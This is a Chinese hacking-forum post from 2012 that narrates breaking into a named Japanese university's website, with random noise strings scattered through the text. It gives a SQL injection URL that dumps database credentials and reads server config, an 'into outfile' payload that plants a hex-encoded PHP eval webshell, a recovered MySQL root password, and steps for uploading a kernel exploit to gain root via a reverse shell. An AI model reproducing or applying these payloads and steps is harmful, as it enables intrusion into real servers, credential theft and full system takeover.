找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2559|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析4 r$ ~. `' e- q2 G1 V6 x) m

6 U- [& {% K( O; uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1* `, a( d: O9 L5 g  y; k: h
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:( c  R: @! D9 c& a5 F" C

: \& ]# U: q7 m5 V) Vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user, N( ?- J5 v+ P2 V# r

# Y- \+ ]1 Q! y+ X! a+ P  E! C" N
. F' d7 s: f* [# m/ H9 Z& q0 ~; f( C
//@@datadir为数据库文件路径   {/ e; o" ]* t

, m- `8 K; @$ X+ F# L5 W! F* }9 d
9 y9 c% w9 u7 X- d' n; O4 S//load_file读取网站容器apache的配置文件
3 c4 V$ M% K# m% o8 ^  J+ A* k$ r# \
( ^, p$ c7 N& Y- K/ X2 D8 Q) k& K
: G& y. C  v: {/ t% Q# k//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 $ [( F/ Y0 \0 w; @0 y8 U7 e: G2 p
复制代码
. z" g1 h! N2 h8 B! D1 X( @' t4 m+ _
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。5 C' z' n" R' g9 }" \4 Y" H' c

5 H9 d  s) i0 I% ~3 e而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。  Q6 C7 n& v  U
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)0 R8 x) k( ~% u9 M7 w
, P4 d/ Y( A* x
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。7 h0 S+ K' Y. E9 x  {" x) [/ D
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html9 G! M6 I) {) j8 X8 M6 a

" ?6 }$ R" N. Z, u6 g0 x1 v既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
+ Z, x" g; h' g虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。+ F4 x0 F2 y5 V( y, l' t
直接写一句话:
: T; b. X" f# `6 W; Q; ]
- r) ~4 ~, _# s; C4 o. a; `, dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#5 j0 V: l3 k9 X

' A$ ^/ S; p6 v' ]9 w! S; R; O# I 6 ~% r1 B4 z0 s9 ^8 B

7 C" z- v6 V3 {, C2 q/ h//最后的#是为了闭合前面的语句
7 {* J% [- M1 E" g' r- p+ ?3 G * r3 b( y7 B" e: q2 s) q3 n7 e
" l9 D. r! S) T5 c" \
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
+ {  j) q' ]; b- O7 y / r; u5 K9 s- k1 N
' y- I6 i' V6 T- n1 W
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 c  L! ]3 J' _" L7 k1 {1 G
% L  U2 g. [) x
8 p5 i  c* ]* o1 \  k# U
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 + e, ^1 f8 a* A8 c& m) D
7 p, ~3 n4 `6 n* K7 d9 W: B$ l+ |

: O3 `# [8 |' u  c9 J' U5 w//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
) ?+ T. B5 X1 K# @. v+ P//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
# D; e' C9 O, l3 ~, Y复制代码9 n) O' U6 f+ n% _8 @5 Z. f' J
! {/ X+ d; O) Z; J0 T
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有# D+ o8 ?8 d8 d, _9 e2 r
通过上述注入语句,我们就得到了一句话木马:
4 w' n- C+ e) M9 Z" c1 y1 u" P  p; o) h

& S4 e/ J- ~% }6 y7 F2 V2 Q- R9 E. e% M4 a

) b- n6 n9 N/ j0 E0 T. U- e# H' f' V
http://www.doshisha.ac.jp/english/engnews_img/aa.php 9 q8 C4 Q4 M5 q; @
复制代码
3 e, D& e  k, @- H
/ T! J, i# O" O( Z) }6 j/ S用菜刀连接,密码是cmd,如图所示:/ A( U% M. o! q! l! {5 J
然后在命令提示行里看了一下,现在的权限是:
2 Q. H0 Q* `& p+ N1 Z4 e2 u4 `: t% C2 h! r
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
8 T; _% z9 v* c. l  Z好在赋权给这个文件夹不需要root,直接执行赋权语句:
0 |6 f4 `/ z! m0 W4 t
: p( L* j* s, y, D9 P7 ]. r
0 ^8 b1 e; I0 d' M; ?$ I. ~/ F8 ^
- i+ f# t* X1 r- L$ b# |
/ ~% K- l1 I6 ?* h
6 M' W; C- I# p/ U' q7 ^! Qchmod +x /tmp/ 3 j# Z1 t0 s% T$ M5 ^3 p
复制代码
( N; g- R$ E+ c4 K* j# S- B
: \5 s7 m- j1 x( P; O' l( c& M4 Z在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
; c. w, |6 f- j$ S7 b然后就查了一下内核版本:
4 A, {  n+ ~" w% ]! C4 _/ I( m8 a- H# ^, h9 M( [3 B4 C5 Z

; a) d0 o" s( t4 J) n) L3 [5 z" F: y) }, g
# q5 f9 R# C5 `" ^

: b! M% f( |4 y: [" A' T4 t  yuname-a 9 }8 R- o! O9 T4 V+ u& F1 X' i
; \* p3 D6 f( y1 q# v$ {

, H# S( ~& e4 k$ O8 r. n0 T//其实lsb_release -a
+ H" S  f5 W6 e* p' y0 x# y复制代码
- q  o# ?! R* B2 Q4 @0 {  o% u1 `7 {0 t3 W2 {% j
如图所示:
/ P5 K7 X6 Z* e: u. w; r9 N- K
3 f; w" ~- J  L. \$ ?6 A内核版本:linux mainz1 2.6.28-194.e15
1 ?& T% l+ f; U2 ^3 H* D系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
% e- B' |7 v3 r# Y8 j6 ^2 d查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
4 q4 J  I) e/ \8 i$ y! Y+ ~5 |# a3 O0 A
然后给予执行权限
8 K  c9 Y0 _3 ?* p  P' s一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样/ j1 e% L2 n. ~$ N
/ Q6 ~5 }$ o: p1 D0 g# |9 n
' P/ @. W- e8 m# I3 R

, K8 J+ o4 f1 u# D, o  M0 i) U , K9 \3 I  a! @5 t) C: s

4 u/ u) ^9 p3 d: T, B/ Mchmod +x /tmp/2.6.18-194
+ O4 w/ U$ h/ {; {; F0 k. O; e复制代码 然后直接执行!~5 X4 t# s4 @& ^9 v* g6 F" E4 ?: r2 h
1 T# Z$ t0 x! }4 Q6 q
总结:
; ~: s# ^  _  [- `+ K" P! X' F, X, O" M这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 R  {" E/ J& p' s0 A# [' X提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
) }9 Y3 u7 A; E1 u  c  J5 \# N6 F6 K% ?) a) X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表